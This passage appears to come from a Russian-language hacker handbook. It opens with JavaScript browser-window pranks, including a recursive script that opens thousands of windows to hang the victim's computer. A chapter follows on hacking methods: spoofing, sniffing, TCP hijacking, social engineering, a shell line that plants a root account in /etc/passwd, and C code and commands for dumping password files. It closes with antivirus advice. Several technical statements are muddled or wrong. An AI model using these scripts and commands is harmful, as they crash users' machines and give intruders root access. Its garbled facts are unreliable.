методов. А это неправильно — вторичное само по себе на хрен никому не нужно.
Наконец (не на конец, а в конце концов!), наступило “творческое озарение”: если
нельзя ничего выжать внутри документа, то надо переходить на качественно новый
уровень манипуляции самим окном броузера.
Сначала чуть-чуть информации для тех, кто забыл (или не знал).
В объектной модели современных броузеров (под современными я имею в виду
Internet Explorer и Netscape Navigator) есть два очень интересных метода:
window.resizeTo (x,y) и window.moveTo (x,y), которые сулят просто огромные
возможности. Первый метод изменяет размер “смотрового окна” броузера до
указанных размеров (то есть x на y пикселей), а второй перемещает само окно,
помещая левый верхний угол в точку с координатами x по горизонтали и y по
вертикали. Таким образом, грамотно используя эти два метода, ты легко можешь
добиться весьма интересных эффектов, которые буквально валят с ног
неподготовленного зрителя.
Для начала давай рассмотрим простенький скриптик, отвечающий за перемещение окна
броузера по десктопу и его отражение от “краев” экрана:
Скрипт 1: Окно в стиле Xonix
<script language = javascript> // Начинаем script блок
function move_the_window( ){ // Наша стартовая функция
window.resizeTo(screen.width/2,screen.height/2);
// Сначала сжимаем окно до половины рабочего стола
window.moveTo(1,1); // Теперь помещаем его в левый верхний угол экрана
var x=1; // Это будет наша X-координата. Вначале равна единице
var y=1; // Это будет наша Y-координата. Вначале равна единице
var dx=7; // Смещение по X
var dy=10; // ... и по Y
move( ); // Теперь вызываем функцию, которая и будет двигать окно
function move( ){ // Объявляем функцию
while(true){ // Объявляем бесконечный цикл
if(x>=(screen.width) || x<=0) dx=-dx; // В случае, если окно на краю экрана по
X, меняем направление
if(y>=(screen.height) || y<=0) dy=-dy; // То же самое, но уже для Y
x+=dx; // Сдвинули по горизонтали
y+=dy; // ... и по вертикали
window.moveTo (x,y); // Нарисовали окно на новом месте
} // Конец нашего бесконечного цикла
} // Конец функции move
} // Конец функции move_the_window
// Ну, и закрываем script блок
</script>
<html>
<head>
<title>Script N1</title>
</head>
<body onload = "move_the_window( )">
<center><font face = Times size = 6 color =red><i>JavaScript is
cool!</i></font></center>
</body>
</html>
Как только страница полностью загружена, вызывается функция move_the_window. Она
объявляет все необходимые переменные и помещает окно в левый верхний угол
рабочего стола. Методы screen.width и screen.height возвращают нам значения
(ширину и высоту) рабочего стола, и, уже зная их, мы сжимаем окно до половины.
Теперь приступим к функции move. Так как все действия здесь выполняются внутри
бесконечного цикла, то окно так и будет безостановочно бегать по экрану. Попытка
же свернуть его через task manager приведет к интересным визуальным эффектам
(советую убедиться на собственном опыте). В случае, если ты хочешь, чтобы цикл
выполнялся определенное количество раз, замени оператор while на while(var i <
твое число) и добавь в конце цикла оператор i++.
С помощью метода resizeTo можно делать довольно любопытные вещи. Посмотри, как
можно сжать окно до размеров заглавной рамки и заставить все это, как обычно,
бегать по экрану:
Скрипт 2: Развитие темы
<script language = javascript> // Начинаем script блок
function move_the_windows( ){ // Наша стартовая функция
window.resizeTo(screen.width, 25); // Сжимаем окно номер 1
window.moveTo(0,1); // Теперь помещаем его в левый верхний угол экрана
window2 = open("", null); // Создаем объект второго окна
window2.document.write("<title> Window N2</title>"); // Пишем в него заголовок
window2.resizeTo(screen.width,25); // Сжимаем его и
window2.moveTo(0, screen.height-25); // помещаем в низ экрана
var dy1=2; // Начальное смещение для верхнего окна
var dy2=-2; // ... и для нижнего
var y1 = 1; // Y-координата верхнего окна
var y2 = screen.height-25; // и Y-координата нижнего
move( ); // Теперь вызываем функцию, которая и будет двигать оба окна
function move( ){ // Объявляем функцию
while(true){ // Объявляем бесконечный цикл
if (y1>=(screen.height) || y1 <=0) dy1=-dy1; // Меняем направление
if (y2>=(screen.height) || y2 <=0) dy2=-dy2; // То же для второго окна
y1+=dy1; // Сдвинули первое окно по вертикали
y2+=dy2; // ... и второе
window.moveTo (0,y1); // Нарисовали первое окно на новом месте
window2.moveTo (0,y2); // Нарисовали второе окно на новом месте
} // Конец нашего бесконечного цикла
} // Конец функции move
} // Конец функции move_the_windows
// Ну, и закрываем script блок
</script>
<html>
<head>
<title>Script N2 Window 1</title>
</head>
<body onload = "move_the_windows( )">
<center><font face = Times size = 6 color =red><i>JavaScript is
cool!</i></font></center>
</body>
</html>
По сути, этот скрипт является расширением первого: новым является наличие двух
окон, которые движутся независимо. Обрати внимание на механизм создания второго
окна и способ записи HTML-тэгов через document.write.
Теперь, познакомившись с этими методами, ты, наверно уже задаешь себе вопрос: а
нельзя ли через этот самый JavaScript подвесить клиентский компьютер? Что ж, это
вполне возможно. Метод прост до неприличия: все, что только нужно делать, —
открывать новые окна с максимальной быстротой. В этом случае у системы просто не
хватает ресурсов, и все “повисает”. Другое дело, что, на мой взгляд, этот
примитивизм не является чем-то по-настоящему интересным, и, вероятно, раз
ознакомившись с этим дубовым методом, ты больше не будешь тратить свое время на
эту муру:
Скрипт 3: Генерация множества окон:
<script language = javascript> // Начинаем script блок
function generate_windows( ){ // Наша стартовая функция
var i=1;
while (i < 10000){ // Главный цикл
window.open("script3.htm"); // Новое окно с ссылкой на тот же HTML файл
i++; // Увеличиваем счетчик цикла
} // Конец цикла
} // Конец generate_windows
// Закрываем script блок
</script>
<html>
<head>
<title>Multiple windows</title>
</head>
<body onload = "generate_windows( )">
</body>
</html>
Фактически в теле главного цикла скрипт пробует открыть 10000 окон, причем
каждое окно ссылается на тот же файл, то есть в свою очередь пытается открыть
еще 10000 окон и т.д. Система просто не справляется с таким потоком и, увы,
повисает.
Глава 3. Методы хакинга
3.1. Спуфинг
Известно, что любая система защиты типа Firewall позволяет “жить” только
определенным адресам IP. Это весьма серьезное препятствие для проникновения в
сеть.
Поэтому хакеры нашли метод для преодоления этого барьера — спуфинг IP.
Сначала хакер выясняет, какие из адресов IP проходят через firewall, затем
использует один из вычисленных адресов в качестве своего и таким образом
получает доступ к системе. Впрочем, это не всегда так. Например, известная
система защиты FireWall-1 действительно дает возможность установить прозрачное
подключение к Internet, используя практически весь диапазон протоколов
межсетевого взаимодействия, обеспечив при этом некоторую (только в третьей
версии этого экрана была залатана дырка, сидевшая в кодировке данных и
идентификации клиента-пользователя) защиту сети. Многих администраторов,
конечно, радует интуитивный графический интерфейс этой системы, а хакеров пугает
многопротокольная проверка пакетов с так называемым учетом состояния протокола (SMLI),
поэтому они стараются просто обходить сети с FireWall-1, оставив спуффинг для
другой системы.
Многие системные администраторы считают, что все-таки существует возможность
вызвать мастера, который поставит стальную дверь с цветным домофоном. И многие,
конечно, надеются на эти самые брандмауэры Internet.
Позволим заметить, что это далеко не так. Да, Firewalls способны изолировать
локальные сети от вскрытия из Internet посредством экранирующих маршрутизаторов,
двусторонних шлюзов и барьерной хост-машины. Но! Проблема в том, что это
известно каждому хакеру. Экранирующие маршрутизаторы? Прекрасно! Проверка адреса
IP и закупорка фальшивого трафика? А кто говорит, что это не так? Все верно!
Купорим трафик. А как насчет Telnet и username/password logon?! Terminal Access
Controller Access System? Включайте!
3.2. Сниффинг
Сеть TCP/IP – это около 150 дырок, сквозь которые открывается доступ в систему (TCP/IP
— протокол, через который устанавливается исключительно обоюдное постоянное
соединение). Это так и еще раз так. И в первую очередь потому, что любой, кто
регистрируется в сети TCP/IP (через telnet или ftp) посылает данные о своем
пароле в обыкновенном IP-пакете. Поэтому, чтобы получить пароль и логин,
достаточно выследить подобный пакет, приходящий на известный адрес, то есть
захватить трафик. Далее у хакера будет выбор. Он может получить реквизиты
чайника. Тогда доступ в систему будет ограниченным. Но если он получит пароль
системного администратора, то сможет скачать файл паролей всех пользователей
системы.
Сниффинг — один из самых популярных методов воровства данных в сети (паролей,
имен пользователей, ключей и т.д.) посредством специального программного
обеспечения (так называемых снифферов). Снифферы, как правило, доступны лишь
системным администраторам, так как эти системы весьма дорогие и не по карману
даже самому крутому хакеру. Если сниффер попадает в руки хекера, то он сможет
весьма эффективно контролировать сеть, захватив пароль и идентификационное имя
системного администратора.
Атака посредством сниффинга не предусматривает создание собственного фальшивого
адреса IP для обмана фильтрующей системы адресов. И в самом деле, зачем нужен
фальшивый IP, если замедляется только скорость входящего в систему потока
информации. Это означает, что все можно списать на плохое качество связи.
Лидер среди всех снифферских лидеров – это пакет IP-Watcher:
● выборочное отслеживание пакетов IP.
● захват активного соединения.
● закупорка сетевых соединений.
● закрепление на удаленной системе.
● прерывание активного соединения TCP.
● совместное использование нескольких соединений.
● невозможность идентификации административным мониторингом.
Самый смак пакета IP-Watcher заключается в том, что хакер может продлить жизнь
соединению после его разрыва пользователем. Хакер загоняет пользователя в
ловушку. Сначала он захватывает трафик. Затем рвет связь. Ждет. Пользователь
опять входит в систему и регистрируется. Пароль у хакера в кармане.
Выборочное отслеживание пакетов IP позволяет, например, перехватывать только
идентификационные данные или файлы любого компьютера, принадлежащие серверу.
3.3. Мусорные бачки
Хакеры часто исследуют мусорные бачки крупных компаний и иногда находят счета за
телефонные переговоры, внутренние телефоны компании, различные технические
руководства, номера кредитных карточек и т.д.
3.4. Ловля на “дурачка”
Каждый хороший хакер обладает превосходными навыками в искусстве пудрить мозги.
Например, хакер может заручиться доверием системного администратора с тем, чтобы
получить доступ к секретной информации посредством простого телефонного
разговора, в котором он представит себя в качестве какого-нибудь
техника-смотрителя.
3.5. Взлом паролей
Самый простой путь — интуиция хакера (названия песен, имена актеров). Более
сложный — через специальную программу, которая автоматически ищет пароль с
помощью словаря.
У хакеров имеется огромное количество методов для выяснения паролей и получения
доступа к сетям. Эти методы варьируются от простых (запись в отдельный log-файл
нажатий клавиатуры) до изысканно сложных (дешифрование огромных баз данных).
3.6. Другие методы
Любой квалифицированный хакер через обыкновенный факс-модем может проникнуть
даже в компьютер правительственного учреждения и, при желании, настолько
внедриться в любую как бы то ни было защищенную систему, что просто-напросто
разрушит ее. Так оно и было. Достаточно вспомнить злополучный сегмент Milnet
Сети сетей и всем известную лабу Rome ВМС США. Да, это был настоящий кошмар,
когда один из этих чудаков-хакеров творил безобразия в течение недели на одной
из самых секретных военных баз Америки!
Вскрыть сеть можно и с помощью обыкновенного факс-модема или даже факс-аппарата.
Ведь в любой достаточно крупной компании факс подключен к LAN! А это значит, что
через номер факса хакер открывает доступ к заветному шлюзу.
Любой более или менее серьезный (или даже несерьезный) хакер Internet
ориентируется на локальную сеть. Ему интересен софт защиты от
несанкционированного доступа. Он спит новыми версиями firewall. Он смеется при
упоминании дурацкого “брандмауэр”. Sun! Sun! Sun! На мир Робин-Гудов надвигается
шерифовский Sun! Все! Все погибли! Все хакеры стали системными администраторами!
Они исправились. Они больше не будут... Да-да, системные администраторы
утверждают, что именно брандмауэр и есть то самое устройство, размещенное между
локальной сетью, и Internet позволяет разного рода придуркам отстать от нашего
сервера. Вот именно, что только придуркам. Настоящим придуркам! Лицезреете
пакетики для остановки шпионского трафика?
А хакер давно завладел всеми функциями подтверждения полномочий! На самом деле
хакер может сам проверить входные и выходные данные.
Многие сисады боятся прощупывания их хакерами. И многие знают, что закупорка
пакетов UDP может остановить вскрытие. Почему? Потому что сработает защита! Да,
хакер блокирует пакеты, а поэтому любые входы через TCP так же блокируются. Но
проблема в том, что в разработке самых умных брандмауэров участвуют те самые
хакеры!
А почему бы и нет? Почему бы и не написать код вирусной программы, а потом
придумать соответствующий антивирус!
Многие компании защищаются электронными карточками. Поэтому их вскрывают меньше
других. Это дело действительно грамотно сконфигурировано. SecurID Card имеет
только тот юзер, который имеет право доступа! Соответствующая прикладнуха
идентифицирует истинность юзера через двойную проверку счета и персональный код.
Это все, действительно, хорошо за исключением тех случаев, когда простой народ
подает в суд. Не проще ли, господа, просто повесить трубку? Пусть всегда будет
занято? Или нет?
А многие, ради эксперимента, допускают к своим сетям хакеров. Результат бывает
плачевным. Хакеры проникают в массу секретных систем, получают полный контроль и
делают так, что их никто не может обнаружить в течение долгого времени.
Хакеры пользуются ошибками софта. Они знают, что система заработает сама по себе
и конфиденциальная информация будет качаться туда, куда ей необходимо качаться.
Бывают, конечно, и “случайные ошибки”. А почему бы и нет? Могут быть в софте
такие ошибки. Преднамеренные... Программные закладки, программные закладки...
Хакеры используют их для тех или иных операций на удаленной машине. Да,
действительно, хакеры используют эти самые закладки в своих межсетевых
махинациях! И если ваша система есть узел коммутации телекоммуникационной сети,
то хакеры могут расчленить сеть и воспользоваться расчлененным файлом паролей.
Именно таким образом на Венеру не полетел космический корабль! Почему? Да
потому, что оператор вместо запятой поставил точку. А как
насчет 100 000 долларов, которые были позаимствованы неким анонимным подлецом во
Внешэкономбанке нерушимой республики свободной?
Хакеры, действительно, могут свести на нет безопасность информации любого
сервера! Кто же они такие? Хорошие программисты? Бывшие системные
администраторы? Обыкновенные студенты? Нигилисты? Оскорбленные юзеры?
Вундеркинды из компьютерной школы?
3.7. Взлом сети
Возможен, например, с помощью Internet. Достаточно похитить пароль через
удаленный доступ по протоколам FTP или Telnet. В этом случае у хакера имеется
возможность перехватить трафик и с помощью какой-нибудь ищейки поймать
идентификаторы пользователей, а если повезет, то и тонны паролей того или иного
узла. Задача хакера — получить пароль высокого уровня, то есть пароль
супервизора, и уже с помощью этой информации захватить пароли всех остальных
юзеров узла.
Хакер может войти в сеть в качестве удаленного пользователя под видом проверки
электронного почтового ящика. Как правило, пароли для электронной почты весьма
простые, и иногда поддаются расшифровке с первой попытки.
3.8. Угоняем TCP
Хакеры-профи применяют более действенные методы взлома. Речь идет об угоне
соединения TCP. Схема проста. Как только реальный юзер идентифицируется узлом,
хакер переключает соединение на себя и передает в циклическом режиме по TCP ряд
цифр до тех пор, пока не получает последовательность номеров, через которую
можно подойти к середине сеанса связи, а затем отконнектить юзера. То есть,
хакер не тратит зря время на ломку весьма сложной системы шифрования или
раскодировку сеанса регистрации. Нет! Хакер угоняет весь сеанс регистрации.
3.9. Ламмеры, которые настроили софт
Хакер может также воспользоваться ошибками программного обеспечения выбранного
узла. Ошибки кодов софта, обслуживающего удаленных юзеров – это беззащитные
дырки. Например, знаменитый Netscape Navigator без конфигурирования защитных
параметров или пиратская программа для чтения электронных сообщений, или
сценарии (о них читайте ниже) CGI со свободным входом.
Другой пример. Возьмем знаменитую Microsoft и ее детище Windows. Многие
применяют стек TCP/UP этой системы. Каждому же хакеру известно, что динамическая
библиотека данных, отвечающая за этот стек, написана, мягко говоря, некорректно,
то есть, при большом желании хакер может по любому из протоколов семейства TCP/IP
получить доступ к содержимому винчестера выбранного хоста.
3.10. Действия системного администратора
● уничтожение подозрительных экаунтов.
● мониторинг системы.
● чтение чужой электронной корреспонденции.
● отключение ARP.
● построение сети без NFS.
● использование машины без NetBIOS над TCP/IP.
3.11. Демоны команд
Если вы хотите установить связь с удаленным компьютером и запустить на нем
демона команды finger, то попробуйте вставить вместо name символ кваквы, а после
кваквы указать имя удаленного компьютера или его IP-адрес (имеется ввиду Telnet).
Хакер через эту же квакву может запустить демона какой-нибудь другой команды.
Речь всего-навсего идет о синтаксисе некоторых команд.
3.12. Использование telnet
Многие знают, что telnet используется для:
● регистрации на удаленном компьютере.
● использования софта Internet, в том числе клиентских программ на удаленном
компьютере.
● запуска любого доступного софта на удаленном компьютере.
Хакер обращает внимание на последний из вышеперечисленных фактов и на
нижеследующие телнетовские сайты:
● anarchy-online.com
● ntiabbs.ntia.doc.gov
● l0pht.com
● sfpg.gcomm.com
● telnet lust.isca.uiowa.edu порт 2600
● pcspm2.dar.csiro.au
● prince.carleton.ca порт 31337
3.13. Любимые хакерами команды UNIX
Ниже мы приводим краткое описание команд UNIX, без которых этой операционной
системой никто бы не пользовался.
at
Вы указываете день/час когда выполнится команда.
batch
Выполнение команд в процессе загрузки.
chmod
Этой командой вы можете изменить полномочия файлового доступа.
chown
Был у файла один хозяин, а стал другой.
cron
Это демон таймера, точнее демон команд batch и at.
crontab
Вы можете указать промежутки времени, в течение которых будут выполнены
какие-либо команды.
ftp
Работаем с удаленным компьютером. Принимаем или пересылаем файлы.
kill
Послать некоторому процессу сигнал о конце работы.
logname
Хочу получить регистрационное имя.
mail
Прием или пересылка электронных сообщений.
news
Отобразить статью из конференции Usenet.
nslookup
Получить сведения об IP-адресе домена.
passwd
Создать/изменить пароль.
ps
Просмотреть, какие процессы в текущий момент времени активизированы.
pwcheck
Этой командой вы можете проверить файл паролей. По умолчанию этот файл лежит в
каталоге /etc/passwd.
rm
Стереть файл или каталог.
sleep
Не выполнять команду в конкретный промежуток времени.
su
Умело используя эту команду, хакер может стать привилегированным пользователем.
telnet
Доступ к удаленному компьютеру.
umask
Если вы только создаете файл, то этой командой вы можете задать так называемую
маску полномочий этого файла.
uucp
Копируем файлы из одного компьютера UNIX в другой.
uuname
Отобразить список хостов UUCP.
uux
Выполнение команд UNIX на удаленном компьютере.
who
Отобразить список текущих пользователей.
whois
Получить информацию о текущем пользователе.
write
Переслать записку текущему пользователю.
3.14. Кого взламывают в UNIX
В мире хакеров и киберпанков существует небольшая градация юзеров UNIX.
● Technical Thug. Обычно системный программист, пишущий скрипты на sed, C, awk,
perl и APL.
● Administrative Fascist. Законченный тунеядец, вынужденный стать системным
администратором UNIX.
● Maniac. Взломщик с большим опытом. Правда, его талант в области компьютерного
шпионажа не оплачивается ни Мосадом ни Кубой.
● Idiot. Обычно кретин или старый программист на Коболе, выбранный системным
администратором Международным Комитетом кретинов.
3.15. Лазейка, возникающая при передаче файлов через rcp
Если параметр rcp утвержден в файле config.tel, то это просто означает, что
открыт доступ в систему из Internet.
3.16. Новый экаунт
Чтобы создать новый экаунт, хакер использует следующую конструкцию:
# cd /home;
mkdir “Bob’s home directory”# echo “Bob Leontyef:
gandalf:0:0::/dev/tty:compress -f” > /etc/passwd
Он может также написать сценарий на Perl, который создает исходный каталог и
скопирует данные в /etc/passwd, /etc/shadow и /etc/group.
3.17. Файл паролей
Доступ к файлу паролей может быть даже у простого пользователя. В стандартном
UNIX файл паролей находится в каталоге /etc/passwd. В других системах этот файл
может находиться в другом месте. Кроме того, файл паролей может быть скрытым.
Пароли в этом файле зашифрованы. Расшифровкой или извлечением занимаются
специальные программы. Именно они и предоставляют в руки хакера самый главный
пароль – суперюзера root.
В файле паролей содержатся семь идущих по порядку вещей:
● Username
● Encrypted password
● User number
● Group Number
● GECOS Information
● Home directory
● Shell
Например, файл паролей из /etc/passwd может быть представлен в следующем виде:
bob:5fg63fhD3d5gh:9406:12:Bob Leontyef:/home/fsg/will:/bin/bash
Эта запись переводится так:
● Имя пользователя: bob
● Расшифровка пароля: 5fg63fhD3d5gh
● Номер пользователя: 9406
● Номер группы: 12
● Информация GECOS: Bob Leontyef
● Каталог по умолчанию: /home/fsg/will
● Shell: /bin/bash
Unix-пароли расшифровываются только одним способом. Специальная программа
расшифровывает текст, который вводится в поле password и сравнивает этот текст с
формой дешифровки. Поэтому софт, крякающий пароли, использует коллекцию
различных слов или словари. Каждое слово в таком словаре расшифровывается и
сравнивается с формой encrypted поступающего пароля.
Лучшая крякалка паролей для Unix — Crack by Alec Muffett, для DOS — CrackerJack.
В UNIX широко применяется система скрытых паролей: область /etc/passwd
заменяется специальным символом, а метод расшифровки хранится в отдельном
каталоге, который доступен только пользователю root. Атака на многие скрытые
пароли осуществляется через специально написанную программу, которая использует
последовательные запросы к getpwent, например:
#include <pwd.h>
main( )
{
struct passwd *p;
while(p=getpwent( ))
printf(“%s:%s:%d:%d:%s:%s:%s\ n”, p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
3.18. Маленький исходник для скрытого файла паролей
#include <pwd.h>
main ( )
{
struct passwd *p;
while(p=getpwent ( ))
printf(“%s:%s:%d:%d:%s:%s:%s\ n”, p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
3.19. Конфигурация Linux и подключение к удаленному узлу
Скрипт удаленного подключения лежит в /usr/local/sbin/initppp. Далее идут
конструкции:
#!/bin/sh
PPPD = “/usr/sbin/pppd”
$(PPPD) connect ‘/usr/sbin/chat -v “” ATZH0Q0M1 OK ATDT3560100 \
CONNECT “” ogin: Suserid word: “`cat /etc/ppp/password`”’ \
/dev/modem 115200
Файл в /usr/sbin/pppd является стандартным, таким как /dev/modem. Например, /dev/cua1.
Установка опций для модема проходит через команду ln -sf /dev/cua1 (для первого
коммуникационного порта).
Файл паролей лежит в /etc/ppp/password. Через скрипт хакер может изменить пароль
так:
cat/etc/ppp/password
3.20. Network Information System или древние желтые страницы UNIX
UNIX NIS позволяет нескольким компьютерам сети иметь различный уровень доступа к
конфигурационным файлами. Если атакуемая версия UNIX использует NIS, то хакер
получит файл паролей /etc/passwd с очень короткой строкой, типа вот этой:
+::0:0:::
Чтобы увидеть действительный файл паролей хакер использует команду ypcat passwd.
3.21. Таинственный знак после запятой
Этот знак соответствует времени хранения пароля. Это означает, что пароль в
определенный момент времени может быть заменен пользователем после системного
администратора. Пароль перед заменой может еще храниться некоторое время.
Типичная запись /etc/passwd с данными о времени хранения пароля:
bob:5fg63fhD3d,M.z8:9406:12:Bob Leontyef:/home/fsg/will:/bin/bash
Обратите внимание на запятую в области дешифровки пароля. Знак после запятой
используется только механизмом хранения пароля.
Таким образом, символы, соответствующие данным времени хранения пароля для
вышеприведенного примера, будут такими:
M.z8
Эти четыре символа интерпретируются следующим образом:
● Максимальное число недель, в течение которых пароль не может быть изменен.
● Минимальное число недель, в течение которых пароль должен использоваться перед
заменой.
Отметим три важные вещи. Если первые и вторые символы установлены как “..”, то
пользователь будет вынужден изменить свой пароль в следующий раз. В этом случае
программа passwd удалит данные о хранении пароля.
Если третий и четвертый символы установлены как “..”, то пользователь будет
вынужден изменить свой пароль в следующий раз. Данные о времени хранения пароля
будут соответствовать первым и вторым символам.
Если же первый символ (MAX) меньше чем второй символ (MIN), то пользователю
вообще не позволяют изменить пароль (только root может его изменить).
Заметим, что хакер не может командой su изменить данные о времени хранения
пароля.
3.22. Доступ к файлу паролей системы VMS
В VMS файл паролей есть
SYS$SYSTEM: SYSUAF.DAT
Однако, в отличие от пользователей UNIX, большинство пользователей VMS не имеет
доступа даже к чтению этого файла. Хакер может взломать пароль VMS только через
специальную программу, которая использует функции SYS$GETUAF для сравнения
результирующих расшифрованных слов с расшифрованными словами, полученными из
данных SYSUAF.DAT. Две такие программы следующие: CHECK_PASSWORD и
GUESS_PASSWORD.
3.23. Windows и модем на COM4
При правильной установке джамперов, система способна произвести правильную
конфигурацию вашего модема посредством технологии автоматического распознавания
устройств. Но иногда случается так, что COM-портов не хватает, а вам необходимо
установить модем. Тогда остается только одно — подключить это устройство на
третий или четвертый COM-порт. Тут-то вам и нужно учесть одинаковые прерывания
IRQ. Например, прерывание четвертого COM-порта может быть занято вашим
видеоадаптером, а первый COM-порт всегда имеет в отношении прерываний больший
приоритет по сравнению с четвертым COM-портом.
Если система вообще не видит четвертый COM-порт, проверьте еще раз все джампера
и просто заставьте Windows 98 обновить аппаратную базу данных.
3.24. Защита системы в Windows
Концепция безопасности компьютера подразумевает защиту всех его компонентов —
аппаратные средства и приложения — от несанкционированного доступа из локальной
сети или Internet. В Windows любой пользователь вашего компьютера может
зарегистрироваться в системе. При этом имя пользователя и пароль могут быть
такими же, как и при входе в сеть.
Концепция безопасности в Windows весьма примитивна. В этой системе вы, как
администратор, не можете создать группу пользователей, завести учетную запись
пользователя, изменить права пользователя. Вместо весьма продвинутого Диспетчера
пользователей эта система предлагает довольно простенькое диалоговое окно
свойств Пароли.
Все это, конечно же, означает, что Windows вообще не обеспечивает никакого
уровня безопасности. Вы, как владелец собственного компьютера, не можете
управлять собственными ресурсам, заводить журнал событий, ограничивать доступ к
тому или иному ресурсу. Вы ничего не можете! Идентификатор пользователя ID? Нет!
Эти вещи можно делать только в Windows NT. SID! SID! SID! SID! SID! SID! SID!
Забыть и все тут! Никаких кодов безопасности! Доступ только в NT!
Не вы, а сама система может создать нечто, напоминающее уникальную запись,
которая идентифицирует того или иного пользователя вашего компьютера.
Никакого контроля, учета и отслеживания.
Вы, конечно, администратор! Но концепция безопасности Windows не подразумевает
тот факт, что вы имеете законное право распоряжаться ресурсами собственного
компьютера.
Речь идет о том, что механизм безопасности в Windows реализован только на уровне
регистрации пользователя.
Вам предлагается так называемая унифицированная регистрация. Это означает, что
однажды введенный эккаунт (пароль и имя пользователя) в окне регистрации при
загрузке системы используется для доступа ко всем службам, приложениям и
аппаратным ресурсам вашего компьютера.
Хорошо подобранный пароль, в принципе, способен защитить вашу систему от
проникновения в нее нежданных гостей. Поэтому:
● никогда не записывайте свой пароль на бумаге.
● не пользуйтесь очевидными паролями (имена, названия городов).
● никогда не отправляйте свой пароль по электронной почте.
● используйте разумное количество символов при составлении пароля, иначе вы
забудете его в один прекрасный момент и не сможете изменить никогда.
С помощью вкладки Смена паролей диалогового окна свойств Пароли, к которому вы
можете обратиться из Панели управления посредством двойного щелчка клавишей мыши
на значке Пароли, изменяются параметры унифицированной регистрации всех ресурсов
вашего компьютера посредством задания нового пароля пользователя.
Задать новый пароль можно через вкладку Настройка пользователя, обратиться к
которой вы можете посредством двойного щелчка клавишей мыши на пиктограмме
Пользователи, находящейся в Панели управления.
Если вы хотите установить защиту на тот или иной ресурс вашего компьютера,
например, разделить доступ к файлам и принтерам, прежде всего, сделайте так,
чтобы этот ресурс стал разделяемым.
Windows позволяет управлять ресурсами вашего компьютера пользователям, которые
имеют удаленный доступ к вашей системе. Для этого вы должны добавить
соответствующую службу с помощью вкладки Сеть, обратиться к которой вы можете из
Панели управления. Только после этого в диалоговом окне свойств Пароли появится
новая вкладка Удаленное управление.
3.25. Вирусы и другие логические бомбы
Троянцы
Это было очень давно. Древние греки скрывались в чреве Троянского коня, пока не
попали в город, который они решили завоевать. Там они покинули убежище и
совершили массу кровавых деяний...
Компьютерная программа “троянский конь” работает по этому же принципу. Эта
программа запускает несанкционированную функцию, скрытую внутри какой-либо
зарегистрированной программы. При этом последняя начинает выполнять что-то
злонамеренное (хотя и не обязательно!), непредусмотренное ее автором. Если нечто
подобное происходит без участия злой воли, то это называется “ошибкой” или
иногда “случайностью”. Ряд антивирусных программ может обнаружить какое-то число
“троянских коней”, другие в этом смысле вообще бессильны. Но в любом случае эти
пакеты не смогут выявить весь “табун”.
Вирус
Вирус — это независимая самовоспроизводящаяся программа. Она может
присоединяться к другим программам, может создавать копии самой себя.
Внедрившись в оперативную память компьютера или в его дисковое пространство,
вирус может повредить или совершенно разрушить данные, изменить их, или
уменьшить эффективность вашей системы. Некоторые вирусы обнаруживаются
антивирусными программами, но ни одна из них не дает 100% уверенности в том, что
лечатся все вирусы. И что бы ни говорилось в рекламе, ни один антивирусный пакет
на деле не защищает от всех вирусов, известных и неизвестных, сейчас и всегда.
Червяк
Прославленные Робертом Моррисом-младшим “черви” — это программы, которые
воспроизводятся путем многократного самокопирования, от системы к системе,
используя ресурсы и временами вызывая замедление работы компьютера. Они замкнуты
и используют для распространения сети так же, как вирусы используют файлы.
Иногда говорят, что лучшая защита от вирусов и “червей” — это вообще не
переписывать новые программы и не посещать сети. Возможно, они правы. Мы бы еще
добавили: “И вообще не работать на компьютере!”
Логическая бомба
Это код, вызывающий специфическую форму разрушения данных. Бомба активизируется
только в случае выполнения какого-то условия. Например, логическая бомба может
удалить все файлы, созданные или измененные 5 декабря. В отличие от вируса,
логическая бомба не делает с себя копии.
Как защититься от вирусов
Самые простые вирусы инфицируют сектора начальной загрузки. Чтобы оградить себя
от этой категории паразитов пропишите защиту на все диски, в отношении которых
вы не нуждаетесь в доступе “для записи”. Определенно необходимо хранить набор
защищенных от записи дискет, так как, если вы все-таки заполучите вирус, эти
дискеты значительно облегчат вам жизнь.
Все входящие файлы необходимо прогонять через мощную антивирусную программу.
В числе лучших пакетов упомянем F-Prot, Dr. Solomon's Anti-virus Toolkit и
Thunderbyte Anti-Virus. AVP тоже неплох. Хорошие результаты дает одновременное
использование нескольких пакетов. В этом случае вы сможете выловить пару
вирусов, пропущенные через другой антивирус.
На сегодняшний день новые вирусы возникают со скоростью около 8 штук в день.
Никакой антивирусный пакет не сможет за этим угнаться, но упомянутые выше четыре
программы дадут вам наибольшую гарантию от заражения. Любой мощный пакет
обнаружит большинство простых вирусов. В то же время ни одна из существующих
программ не обнаруживает все вирусы.
Сейчас известно приблизительно 5600 вирусов. Постоянно создаются новые. Если вы
используете какой-то антивирусный пакет, то постарайтесь обновлять его как можно
чаще (по мере выхода в свет новых версий). Если вы полагаетесь на разного рода
блокираторы, то необходимо учитывать, что такие программы легко обходятся (с
применением методики, известной как прокладка туннелей).
Кроме антивирусных программ вы можете использовать программы проверки
целостности данных. Но обратите внимание на то, что, обеспечивая дополнительную
защиту, они не очень надежны.
Можете использовать и такой специфический тип антивирусной защиты, как
резидентные антивирусные пакеты. Они находятся резидентно в памяти компьютера и
постоянно контролируют выполнение других программ (и иногда даже доступ к
содержащимся в программе файлам). Если вы попробуете запустить какое-нибудь
приложение, резидентный антивирус получит управление и протестирует эту
программу на наличие известных вирусов. И только, если никаких вирусов не
обнаружится, программа будет запущена.
Большинство антивирусных пакетов не защитит вас от многих видов “троянских
коней”, любых логических бомб и “червей”. Теоретически, они способны
предохранить систему от бомбы и/или “червя”, однако это редко соответствует
действительности.
Самый лучший, фактически единственный способ защиты состоит в том, чтобы точно
знать, что записано в компьютере, и быть постоянно уверенным, что кроме вас
никто ничего не добавляет. Постоянно создавайте резервные копии всех важных
файлов. Системные файлы DOS должны быть защищены от записи. Поставьте защиту от
записи на все диски, на которые вы сами не планируете ничего устанавливать.
Если вы все же получили вирус, не впадайте в панику. Если не уверены в
правильности своих действий, свяжитесь с отделом поддержки компании, которая
обеспечивает вас антивирусными программами. Если в этой компании нет хорошего
отдела технической поддержки, найдите другую.
Самый лучший способ быть уверенным, что вирусы не распространяются — не
распространять их. Некоторые делают это преднамеренно. Мы против этого. Вирусы —
не игрушки.
Где можно получить подробную информацию
о вирусах
Большинство книг по программированию освещает связанные с вирусами вопросы
